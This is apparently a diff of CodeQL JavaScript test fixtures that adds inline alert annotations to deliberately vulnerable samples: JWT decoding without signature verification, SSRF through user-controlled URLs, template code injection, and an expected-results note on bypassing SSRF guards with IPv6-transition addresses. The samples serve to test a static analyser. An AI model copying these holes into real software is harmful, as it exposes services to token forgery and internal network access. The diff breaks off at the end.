diff --git a/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtDecode.js b/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtDecode.js index 76a26e0df366..cb57c74a46ff 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtDecode.js +++ b/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtDecode.js @@ -8,11 +8,11 @@ function getSecret() { } app.get('/jwtDecode', (req, res) => { - const UserToken = req.headers.authorization; + const UserToken = req.headers.authorization; // $ Alert // jwt-decode // no signature verification - jwt_decode(UserToken) // NOT OK + jwt_decode(UserToken) // NOT OK // $ Sink }) app.listen(port, () => { diff --git a/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtSimple.js b/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtSimple.js index 4803309e3e55..9a015aa807d2 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtSimple.js +++ b/javascript/ql/test/experimental/Security/CWE-347/remotesource/jwtSimple.js @@ -7,10 +7,10 @@ function getSecret() { return "A Safe generated random key" } app.get('/jwtSimple1', (req, res) => { - const UserToken = req.headers.authorization; + const UserToken = req.headers.authorization; // $ Alert // no signature verification - jwt_simple.decode(UserToken, getSecret(), true); // NOT OK + jwt_simple.decode(UserToken, getSecret(), true); // NOT OK // $ Sink }) app.get('/jwtSimple2', (req, res) => { diff --git a/javascript/ql/test/experimental/Security/CWE-918/SSRF.qlref b/javascript/ql/test/experimental/Security/CWE-918/SSRF.qlref index 05a9c8145e60..7819b4827f28 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/SSRF.qlref +++ b/javascript/ql/test/experimental/Security/CWE-918/SSRF.qlref @@ -1 +1,2 @@ -./experimental/Security/CWE-918/SSRF.ql \ No newline at end of file +query: ./experimental/Security/CWE-918/SSRF.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.expected b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.expected new file mode 100644 index 000000000000..e488048f9afd --- /dev/null +++ b/javascript/ql/test/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard/SsrfIpv6TransitionIncompleteGuard.expected @@ -0,0 +1,2 @@ +| bad-private-ip-pkg.js:6:1:11:1 | async f ... '/');\\n} | This SSRF host guard rejects private IPv4 ranges but never unwraps IPv6-transition forms (IPv4-mapped '::ffff:', NAT64 '64:ff9b::', 6to4 '2002::'); an attacker can wrap an internal IPv4 address in a transition literal to bypass it and reach internal endpoints. | +| bad-rfc1918-regex.js:5:1:16:1 | functio ... '/');\\n} | This SSRF host guard rejects private IPv4 ranges but never unwraps IPv6-transition forms (IPv4-mapped '::ffff:', NAT64 '64:ff9b::', 6to4 '2002::'); an attacker can wrap an internal IPv4 address in a transition literal to bypass it and reach internal endpoints. | diff --git a/javascript/ql/test/experimental/Security/CWE-918/check-domain.js b/javascript/ql/test/experimental/Security/CWE-918/check-domain.js index 0821140ab5fe..4559d14e8036 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/check-domain.js +++ b/javascript/ql/test/experimental/Security/CWE-918/check-domain.js @@ -13,8 +13,8 @@ const app = express(); app.get('/check-with-axios', req => { // without validation - const url = req.query.url; - axios.get(url); //SSRF + const url = req.query.url; // $ Source + axios.get(url); //SSRF // $ Alert // validating domain only const decodedURI = decodeURIComponent(req.query.url); @@ -23,7 +23,7 @@ app.get('/check-with-axios', req => { const { hostname } = url.parse(decodedURI); if (isValidDomain(hostname, validDomains)) { - axios.get(req.query.url); //SSRF + axios.get(req.query.url); //SSRF // $ Alert } }); diff --git a/javascript/ql/test/experimental/Security/CWE-918/check-middleware.js b/javascript/ql/test/experimental/Security/CWE-918/check-middleware.js index 2a1e6d541665..721250e80afd 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/check-middleware.js +++ b/javascript/ql/test/experimental/Security/CWE-918/check-middleware.js @@ -6,7 +6,7 @@ const express = require('express'); const app = express(); app.get('/check-with-axios', validationMiddleware, req => { - axios.get("test.com/" + req.query.tainted); // OK is sanitized by the middleware - False Positive + axios.get("test.com/" + req.query.tainted); // OK is sanitized by the middleware - False Positive // $ Alert }); diff --git a/javascript/ql/test/experimental/Security/CWE-918/check-path.js b/javascript/ql/test/experimental/Security/CWE-918/check-path.js index b26e4924460f..9888a28b383c 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/check-path.js +++ b/javascript/ql/test/experimental/Security/CWE-918/check-path.js @@ -16,11 +16,11 @@ app.get('/check-with-axios', req => { const hardcoded = 'hardcodeado'; axios.get('test.com/' + hardcoded); // OK - axios.get('test.com/' + req.query.tainted); // SSRF + axios.get('test.com/' + req.query.tainted); // SSRF // $ Alert axios.get('test.com/' + Number(req.query.tainted)); // OK axios.get('test.com/' + req.user.id); // OK axios.get('test.com/' + encodeURIComponent(req.query.tainted)); // OK - axios.get(`/addresses/${req.query.tainted}`); // SSRF + axios.get(`/addresses/${req.query.tainted}`); // SSRF // $ Alert axios.get(`/addresses/${encodeURIComponent(req.query.tainted)}`); // OK if (Number.isInteger(req.query.tainted)) { @@ -30,11 +30,11 @@ app.get('/check-with-axios', req => { if (isValidInput(req.query.tainted)){ axios.get('test.com/' + req.query.tainted); // OK } else { - axios.get('test.com/' + req.query.tainted); // SSRF + axios.get('test.com/' + req.query.tainted); // SSRF // $ Alert } if (doesntCheckAnything(req.query.tainted)) { - axios.get('test.com/' + req.query.tainted); // SSRF + axios.get('test.com/' + req.query.tainted); // SSRF // $ Alert } if (isValidPath(req.query.tainted, VALID_PATHS)) { @@ -42,7 +42,7 @@ app.get('/check-with-axios', req => { } let baseURL = require('config').base - axios.get(`${baseURL}${req.query.tainted}`); // SSRF + axios.get(`${baseURL}${req.query.tainted}`); // SSRF // $ Alert if(!isValidInput(req.query.tainted)) { return; diff --git a/javascript/ql/test/experimental/Security/CWE-918/check-regex.js b/javascript/ql/test/experimental/Security/CWE-918/check-regex.js index 238aa9068432..f5b4f908e636 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/check-regex.js +++ b/javascript/ql/test/experimental/Security/CWE-918/check-regex.js @@ -13,7 +13,7 @@ app.get('/check-with-axios', req => { axios.get("test.com/" + req.query.tainted); // OK } if (req.query.tainted.match(/^.*$/)) { // anything - axios.get("test.com/" + req.query.tainted); // SSRF - False Negative + axios.get("test.com/" + req.query.tainted); // SSRF - False Negative // $ Alert } const baseURL = "test.com/" @@ -21,24 +21,24 @@ app.get('/check-with-axios', req => { axios.get(baseURL + req.params.tainted); // OK } if (!isValidPath(req.params.tainted) ) { - axios.get(baseURL + req.params.tainted); // SSRF + axios.get(baseURL + req.params.tainted); // SSRF // $ Alert } else { axios.get(baseURL + req.params.tainted); // OK } // Blacklists are not safe if (!req.query.tainted.match(/^[/\.%]+$/)) { - axios.get("test.com/" + req.query.tainted); // SSRF + axios.get("test.com/" + req.query.tainted); // SSRF // $ Alert } if (!isInBlacklist(req.params.tainted) ) { - axios.get(baseURL + req.params.tainted); // SSRF + axios.get(baseURL + req.params.tainted); // SSRF // $ Alert } if (!isValidPath(req.params.tainted)) { return; } - axios.get("test.com/" + req.query.tainted); // OK - False Positive + axios.get("test.com/" + req.query.tainted); // OK - False Positive // $ Alert if (req.query.tainted.matchAll(/^[0-9a-z]+$/g)) { // letters and numbers axios.get("test.com/" + req.query.tainted); // OK @@ -58,7 +58,7 @@ app.get('/check-with-axios', req => { axios.get(baseURL + req.params.tainted); // OK } if (!isValidPathMatchAll(req.params.tainted) ) { - axios.get(baseURL + req.params.tainted); // NOT OK - SSRF + axios.get(baseURL + req.params.tainted); // NOT OK - SSRF // $ Alert } else { axios.get(baseURL + req.params.tainted); // OK } diff --git a/javascript/ql/test/experimental/Security/CWE-918/check-validator.js b/javascript/ql/test/experimental/Security/CWE-918/check-validator.js index dfe3314b07b3..1e170036c44a 100644 --- a/javascript/ql/test/experimental/Security/CWE-918/check-validator.js +++ b/javascript/ql/test/experimental/Security/CWE-918/check-validator.js @@ -12,7 +12,7 @@ app.get("/check-with-axios", req => { axios.get("test.com/" + req.query.tainted); // OK } if (isAlphanumeric(req.query.tainted)) { - axios.get("test.com/" + req.query.tainted); // SSRF + axios.get("test.com/" + req.query.tainted); // SSRF // $ Alert } if (validAlphanumeric(req.query.tainted)) { axios.get("test.com/" + req.query.tainted); // OK @@ -24,7 +24,7 @@ app.get("/check-with-axios", req => { axios.get("test.com/" + req.query.tainted); // OK } if (wrongValidation(req.query.tainted)) { - axios.get("test.com/" + req.query.tainted); // SSRF + axios.get("test.com/" + req.query.tainted); // SSRF // $ Alert } // numbers @@ -47,25 +47,25 @@ app.get("/check-with-axios", req => { axios.get("test.com/" + req.query.tainted); // OK } if (validHexa(req.query.tainted)) { - axios.get("test.com/" + req.query.tainted); // OK. False Positive + axios.get("test.com/" + req.query.tainted); // OK. False Positive // $ Alert } // with simple assignation - const numberURL = req.query.tainted; + const numberURL = req.query.tainted; // $ Source if (validNumber(numberURL)) { axios.get("test.com/" + numberURL); // OK } if (validNumber(numberURL)) { - axios.get("test.com/" + req.query.tainted); // OK. False Positive + axios.get("test.com/" + req.query.tainted); // OK. False Positive // $ Alert } if (validNumber(req.query.tainted)) { - axios.get("test.com/" + numberURL); // OK. False Positive + axios.get("test.com/" + numberURL); // OK. False Positive // $ Alert } if (validHexadecimal(req.query.tainted) || validHexaColor(req.query.tainted) || validDecimal(req.query.tainted) || validFloat(req.query.tainted) || validInt(req.query.tainted) || validNumber(req.query.tainted) || validOctal(req.query.tainted)) { - axios.get("test.com/" + req.query.tainted); // OK. False Positive + axios.get("test.com/" + req.query.tainted); // OK. False Positive // $ Alert } }); diff --git a/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructor.qlref b/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructor.qlref index 3cba54a3a0c5..51cb2f3db8ba 100644 --- a/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructor.qlref +++ b/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructor.qlref @@ -1 +1,2 @@ -experimental/StandardLibrary/MultipleArgumentsToSetConstructor.ql +query: experimental/StandardLibrary/MultipleArgumentsToSetConstructor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructorBad.js b/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructorBad.js index 4bce4b54c1b4..ea51918032a2 100644 --- a/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructorBad.js +++ b/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/MultipleArgumentsToSetConstructorBad.js @@ -1,4 +1,4 @@ -const vowels = new Set('a', 'e', 'i', 'o', 'u'); +const vowels = new Set('a', 'e', 'i', 'o', 'u'); // $ Alert function isVowel(char) { return vowels.has(char.toLowerCase()); diff --git a/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/tst.js b/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/tst.js index 7f43ae5f9664..024c881ce4a9 100644 --- a/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/tst.js +++ b/javascript/ql/test/experimental/StandardLibrary/MultipleArgumentsToSetConstructor/tst.js @@ -1,6 +1,6 @@ let xs = [1, 2, 3]; let ys = [4, 5, 6]; -new Set(...xs, ...ys); // NOT OK +new Set(...xs, ...ys); // NOT OK // $ Alert new Set([...xs, ...ys]); // OK new Set(xs); // OK new Set(); // OK \ No newline at end of file diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteHandlerCandidate.qlref b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteHandlerCandidate.qlref index 51fb87eed725..c383d032bc09 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteHandlerCandidate.qlref +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteHandlerCandidate.qlref @@ -1 +1,2 @@ -meta/analysis-quality/UnpromotedRouteHandlerCandidate.ql \ No newline at end of file +query: meta/analysis-quality/UnpromotedRouteHandlerCandidate.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteSetupCandidate.qlref b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteSetupCandidate.qlref index 5ce57dc19ba9..2ef54efcfd0a 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteSetupCandidate.qlref +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/UnpromotedRouteSetupCandidate.qlref @@ -1 +1,2 @@ -meta/analysis-quality/UnpromotedRouteSetupCandidate.ql \ No newline at end of file +query: meta/analysis-quality/UnpromotedRouteSetupCandidate.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/hapi.js b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/hapi.js index 581e2401e05e..9ea46e7ce68f 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/hapi.js +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/hapi.js @@ -1 +1 @@ -function handler(request, h){} +function handler(request, h){} // $ Alert[js/unpromoted-route-handler-candidate] diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/nodejs.js b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/nodejs.js index 57bcde69d531..315c6dd1379b 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/nodejs.js +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/nodejs.js @@ -2,14 +2,14 @@ var http = require('http'); http.createServer(function(req, res){}); -unknown.createServer(function(req, res){}); +unknown.createServer(function(req, res){}); // $ Alert[js/unpromoted-route-setup-candidate] var createServer = http.createServer; createServer(function(req, res){}); http.createServer().on("request", function(req, res){}); -unknown.on("request", function(req, res){}); -unknown.once("request", function(req, res){}); +unknown.on("request", function(req, res){}); // $ Alert[js/unpromoted-route-setup-candidate] +unknown.once("request", function(req, res){}); // $ Alert[js/unpromoted-route-setup-candidate] function getHandler(){ return function(req, res){}; diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js index 64dbe4555600..2abb91d0f11b 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/route-objects.js @@ -4,10 +4,10 @@ var app = express(); var route1 = { method: 'post', url: '/foo', - middleWares: [function(req, res){}], + middleWares: [function(req, res){}], // $ Alert[js/unpromoted-route-handler-candidate] handler(req, res) { - } + } // $ Alert[js/unpromoted-route-handler-candidate] }; app[route1.method](route1.url, route1.middleWares, route1.handler); @@ -19,14 +19,14 @@ var routes = [ url: '/foo', handler(req, res) { - } + } // $ Alert[js/unpromoted-route-handler-candidate] }, { method: 'post', url: '/foo', handler(req, res) { - } + } // $ Alert[js/unpromoted-route-handler-candidate] } ]; routes.forEach((route) => { @@ -39,7 +39,7 @@ var route2 = { url: '/foo', handler(req, res) { - } + } // $ Alert[js/unpromoted-route-handler-candidate] }; app[route2.method.toLowerCase()](route2.url, route2.handler); @@ -49,13 +49,13 @@ var route3 = { url: '/foo', handler(req, res) { - } + } // $ Alert[js/unpromoted-route-handler-candidate] }; function wrap(f){ return function(req, res){ f(req); - } + } // $ Alert[js/unpromoted-route-handler-candidate] } app[route3.method](route3.url, wrap(route3.handler)); confuse(wrap); // confuse the type inference diff --git a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js index e2d6cfd1ebf0..871ddf9603b7 100644 --- a/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js +++ b/javascript/ql/test/library-tests/frameworks/HTTP-heuristics/src/tst.js @@ -3,9 +3,9 @@ var app = express(); app.get('/some/path', function(req, res) {}) -someOtherApp.get('/some/path', function(req, res) {}) +someOtherApp.get('/some/path', function(req, res) {}) // $ Alert[js/unpromoted-route-setup-candidate] -someOtherApp.get('/some/path', function(request, response) {}) +someOtherApp.get('/some/path', function(request, response) {}) // $ Alert[js/unpromoted-route-setup-candidate] someOtherApp.get('/some/path', function(r) { r.acceptsCharsets() @@ -27,23 +27,23 @@ someOtherApp.get('/some/path', function(r, s, n) { n('route') }) -someOtherApp.delete('/some/path', function(req, res) {}) +someOtherApp.delete('/some/path', function(req, res) {}) // $ Alert[js/unpromoted-route-setup-candidate] someOtherApp.get('/some/path', function(req, res) {}, - function(req, res) {}) + function(req, res) {}) // $ Alert[js/unpromoted-route-setup-candidate] someOtherApp.get('/some/path', [ function(req, res) {}, function(req, res) {} -]) +]) // $ Alert[js/unpromoted-route-setup-candidate] someOtherApp.get('/some/path', function() {}, - function(req, res) {}) + function(req, res) {}) // $ Alert[js/unpromoted-route-setup-candidate] -function f(req, res) {} +function f(req, res) {} // $ Alert[js/unpromoted-route-handler-candidate] function f(ctx, next) { ctx.acceptsCharsets() @@ -51,25 +51,25 @@ function f(ctx, next) { function f(req, res) { req() -} +} // $ Alert[js/unpromoted-route-handler-candidate] function called(req,res) { -} +} // $ Alert[js/unpromoted-route-handler-candidate] called() function f(req,res) { return; -} +} // $ Alert[js/unpromoted-route-handler-candidate] function f(req,res) { return x; -} +} // $ Alert[js/unpromoted-route-handler-candidate] function adHocTestsFor_HeuristicRouteHandler() { function rh_dead(req, res) { - } + } // $ Alert[js/unpromoted-route-handler-candidate] function rh_flowToSetup(req, res) { @@ -84,7 +84,7 @@ function adHocTestsFor_HeuristicRouteHandler() { function rh_flowToHeuristicSetup(req, res) { } - unknownApp.get('/some/path', rh_flowToHeuristicSetup) + unknownApp.get('/some/path', rh_flowToHeuristicSetup) // $ Alert[js/unpromoted-route-setup-candidate] } function adHocTestsFor_HeuristicRouteSetups() { @@ -93,22 +93,22 @@ function adHocTestsFor_HeuristicRouteSetups() { } app.get('/some/path', rh); - unknownApp.get('/some/path', rh); + unknownApp.get('/some/path', rh); // $ Alert[js/unpromoted-route-setup-candidate] - unknownApp.get('/some/path', [rh]); + unknownApp.get('/some/path', [rh]); // $ Alert[js/unpromoted-route-setup-candidate] unknownApp.get('/some/path', unknown); unknownApp.get('/some/path', [unknown]); - unknownApp.get('/some/path', unknown, rh); + unknownApp.get('/some/path', unknown, rh); // $ Alert[js/unpromoted-route-setup-candidate] } function adHocTestsFor_HeuristicRouteHandler_withTracking() { function get_rh_dead() { return function rh_dead(req, res) { - } + } // $ Alert[js/unpromoted-route-handler-candidate] } var rh_dead = get_rh_dead(); @@ -134,7 +134,7 @@ function adHocTestsFor_HeuristicRouteHandler_withTracking() { } } var rh_flowToHeuristicSetup = get_rh_flowToHeuristicSetup(); - unknownApp.get('/some/path', rh_flowToHeuristicSetup) + unknownApp.get('/some/path', rh_flowToHeuristicSetup) // $ Alert[js/unpromoted-route-setup-candidate] } function adHocTestsFor_HeuristicRouteSetups_withTracking() { @@ -146,13 +146,13 @@ function adHocTestsFor_HeuristicRouteSetups_withTracking() { var rh = get_rh(); app.get('/some/path', rh); - unknownApp.get('/some/path', rh); + unknownApp.get('/some/path', rh); // $ Alert[js/unpromoted-route-setup-candidate] - unknownApp.get('/some/path', [rh]); + unknownApp.get('/some/path', [rh]); // $ Alert[js/unpromoted-route-setup-candidate] unknownApp.get('/some/path', unknown); unknownApp.get('/some/path', [unknown]); - unknownApp.get('/some/path', unknown, rh); + unknownApp.get('/some/path', unknown, rh); // $ Alert[js/unpromoted-route-setup-candidate] } diff --git a/javascript/ql/test/library-tests/frameworks/Templating/CodeInjection.qlref b/javascript/ql/test/library-tests/frameworks/Templating/CodeInjection.qlref index fe9adbf3b64d..bfeec8aec393 100644 --- a/javascript/ql/test/library-tests/frameworks/Templating/CodeInjection.qlref +++ b/javascript/ql/test/library-tests/frameworks/Templating/CodeInjection.qlref @@ -1 +1,2 @@ -Security/CWE-094/CodeInjection.ql +query: Security/CWE-094/CodeInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/library-tests/frameworks/Templating/app.js b/javascript/ql/test/library-tests/frameworks/Templating/app.js index 8666d79b644f..2822d40be5c1 100644 --- a/javascript/ql/test/library-tests/frameworks/Templating/app.js +++ b/javascript/ql/test/library-tests/frameworks/Templating/app.js @@ -12,11 +12,11 @@ app.get('/ejs', (req, res) => { }, dataInStringLiteral: req.query.dataInStringLiteral, dataInStringLiteralRaw: req.query.dataInStringLiteralRaw, - dataInGeneratedCode: req.query.dataInGeneratedCode, + dataInGeneratedCode: req.query.dataInGeneratedCode, // $ Source dataInGeneratedCodeRaw: req.query.dataInGeneratedCodeRaw, - backslashSink1: req.query.backslashSink1, + backslashSink1: req.query.backslashSink1, // $ Source backslashSink2: req.query.backslashSink2, - dataInEventHandlerString: req.query.dataInEventHandlerString, + dataInEventHandlerString: req.query.dataInEventHandlerString, // $ Source dataInEventHandlerStringRaw: req.query.dataInEventHandlerStringRaw, }); }); @@ -31,11 +31,11 @@ app.get('/hbs', (req, res) => { }, dataInStringLiteral: req.query.dataInStringLiteral, dataInStringLiteralRaw: req.query.dataInStringLiteralRaw, - dataInGeneratedCode: req.query.dataInGeneratedCode, + dataInGeneratedCode: req.query.dataInGeneratedCode, // $ Source dataInGeneratedCodeRaw: req.query.dataInGeneratedCodeRaw, - backslashSink1: req.query.backslashSink1, + backslashSink1: req.query.backslashSink1, // $ Source backslashSink2: req.query.backslashSink2, - dataInEventHandlerString: req.query.dataInEventHandlerString, + dataInEventHandlerString: req.query.dataInEventHandlerString, // $ Source dataInEventHandlerStringRaw: req.query.dataInEventHandlerStringRaw, }); }); @@ -50,20 +50,20 @@ app.get('/njk', (req, res) => { }, dataInStringLiteral: req.query.dataInStringLiteral, dataInStringLiteralRaw: req.query.dataInStringLiteralRaw, - dataInGeneratedCode: req.query.dataInGeneratedCode, - dataInGeneratedCodeRaw: req.query.dataInGeneratedCodeRaw, + dataInGeneratedCode: req.query.dataInGeneratedCode, // $ Source + dataInGeneratedCodeRaw: req.query.dataInGeneratedCodeRaw, // $ Source dataInGeneratedCodeJsonRaw: req.query.dataInGeneratedCodeJsonRaw, - backslashSink1: req.query.backslashSink1, + backslashSink1: req.query.backslashSink1, // $ Source backslashSink2: req.query.backslashSink2, - dataInEventHandlerString: req.query.dataInEventHandlerString, - dataInEventHandlerStringRaw: req.query.dataInEventHandlerStringRaw, + dataInEventHandlerString: req.query.dataInEventHandlerString, // $ Source + dataInEventHandlerStringRaw: req.query.dataInEventHandlerStringRaw, // $ Source }); }); app.get('/angularjs', (req, res) => { res.render('angularjs_sinks', { - escapedHtml: req.query.escapedHtml, - rawHtml: req.query.rawHtml, + escapedHtml: req.query.escapedHtml, // $ Source + rawHtml: req.query.rawHtml, // $ Source }); }); diff --git a/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_include.ejs b/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_include.ejs index 2d02e173275f..e9a6f436a8fe 100644 --- a/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_include.ejs +++ b/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_include.ejs @@ -1,5 +1,5 @@
    - <%= escapedHtml %> - <%- rawHtml %> + <%= escapedHtml %> + <%- rawHtml %>
    diff --git a/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_sinks.ejs b/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_sinks.ejs index 47105bb360ec..5dc0c0763cf3 100644 --- a/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_sinks.ejs +++ b/javascript/ql/test/library-tests/frameworks/Templating/views/angularjs_sinks.ejs @@ -1,7 +1,7 @@ - <%= escapedHtml %> - <%- rawHtml %> + <%= escapedHtml %> + <%- rawHtml %> <% include angularjs_include %> diff --git a/javascript/ql/test/library-tests/frameworks/Templating/views/ejs_sinks.ejs b/javascript/ql/test/library-tests/frameworks/Templating/views/ejs_sinks.ejs index 42dfc124a709..b25de673433b 100644 --- a/javascript/ql/test/library-tests/frameworks/Templating/views/ejs_sinks.ejs +++ b/javascript/ql/test/library-tests/frameworks/Templating/views/ejs_sinks.ejs @@ -10,15 +10,15 @@ var dataInStringLiteral = "<%= dataInStringLiteral %>"; var dataInStringLiteralRaw = "<%- dataInStringLiteralRaw %>"; - var dataInGeneratedCode = <%= dataInGeneratedCode %>; + var dataInGeneratedCode = <%= dataInGeneratedCode %>; // $ Alert var dataInGeneratedCodeRaw = <%- dataInGeneratedCodeRaw %>; - init("<%= backslashSink1 %>", "<%= backslashSink2 %>"); + init("<%= backslashSink1 %>", "<%= backslashSink2 %>"); // $ Alert var mustache = "{{ rawHtml }}"; - + <%- include('ejs_include1', { foo: rawHtml }) _%> diff --git a/javascript/ql/test/library-tests/frameworks/Templating/views/hbs_sinks.hbs b/javascript/ql/test/library-tests/frameworks/Templating/views/hbs_sinks.hbs index 198af1cd8d41..a723f95e7745 100644 --- a/javascript/ql/test/library-tests/frameworks/Templating/views/hbs_sinks.hbs +++ b/javascript/ql/test/library-tests/frameworks/Templating/views/hbs_sinks.hbs @@ -22,15 +22,15 @@ var dataInStringLiteral = "{{ dataInStringLiteral }}"; var dataInStringLiteralRaw = "{{{ dataInStringLiteralRaw }}}"; - var dataInGeneratedCode = {{ dataInGeneratedCode }}; + var dataInGeneratedCode = {{ dataInGeneratedCode }}; // $ Alert var dataInGeneratedCodeRaw = {{{ dataInGeneratedCodeRaw }}}; - init("{{ backslashSink1 }}", "{{ backslashSink2 }}"); + init("{{ backslashSink1 }}", "{{ backslashSink2 }}"); // $ Alert var ejs = "<%= rawHtml %>"; - + diff --git a/javascript/ql/test/library-tests/frameworks/Templating/views/njk_sinks.njk b/javascript/ql/test/library-tests/frameworks/Templating/views/njk_sinks.njk index fcfba32a26c8..dc34a5c0bbb1 100644 --- a/javascript/ql/test/library-tests/frameworks/Templating/views/njk_sinks.njk +++ b/javascript/ql/test/library-tests/frameworks/Templating/views/njk_sinks.njk @@ -10,16 +10,16 @@ var dataInStringLiteral = "{{ dataInStringLiteral }}"; var dataInStringLiteralRaw = "{{ dataInStringLiteralRaw | safe }}"; - var dataInGeneratedCode = {{ dataInGeneratedCode }}; - var dataInGeneratedCodeRaw = {{ dataInGeneratedCodeRaw | safe }}; + var dataInGeneratedCode = {{ dataInGeneratedCode }}; // $ Alert + var dataInGeneratedCodeRaw = {{ dataInGeneratedCodeRaw | safe }}; // $ Alert var dataInGeneratedCodeJsonRaw = {{ dataInGeneratedCodeJsonRaw | json | safe }}; - init("{{ backslashSink1 }}", "{{ backslashSink2 }}"); + init("{{ backslashSink1 }}", "{{ backslashSink2 }}"); // $ Alert var ejs = "<%= rawHtml %>"; - - + + diff --git a/javascript/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref b/javascript/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref index 9d7833eccae7..dc898fca718c 100644 --- a/javascript/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref +++ b/javascript/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref @@ -1 +1 @@ -AlertSuppression.ql +query: AlertSuppression.ql diff --git a/javascript/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref b/javascript/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref index 2fe8364c4ea7..58bc903a431d 100644 --- a/javascript/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref +++ b/javascript/ql/test/query-tests/Diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -Diagnostics/ExtractedFiles.ql \ No newline at end of file +query: Diagnostics/ExtractedFiles.ql diff --git a/javascript/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref b/javascript/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref index 5e501b2469d2..20403d282f0a 100644 --- a/javascript/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref +++ b/javascript/ql/test/query-tests/Diagnostics/ExtractionErrors.qlref @@ -1 +1 @@ -Diagnostics/ExtractionErrors.ql \ No newline at end of file +query: Diagnostics/ExtractionErrors.ql diff --git a/javascript/ql/test/query-tests/Metrics/ExternalDependencies/ExternalDependencies.qlref b/javascript/ql/test/query-tests/Metrics/ExternalDependencies/ExternalDependencies.qlref index aa190bb0a9a9..8b37766f8302 100644 --- a/javascript/ql/test/query-tests/Metrics/ExternalDependencies/ExternalDependencies.qlref +++ b/javascript/ql/test/query-tests/Metrics/ExternalDependencies/ExternalDependencies.qlref @@ -1 +1 @@ -Metrics/Dependencies/ExternalDependencies.ql \ No newline at end of file +query: Metrics/Dependencies/ExternalDependencies.ql diff --git a/javascript/ql/test/query-tests/Metrics/FLinesOfCode/FLinesOfCode.qlref b/javascript/ql/test/query-tests/Metrics/FLinesOfCode/FLinesOfCode.qlref index f1524eec4972..6a2c24b94b1d 100644 --- a/javascript/ql/test/query-tests/Metrics/FLinesOfCode/FLinesOfCode.qlref +++ 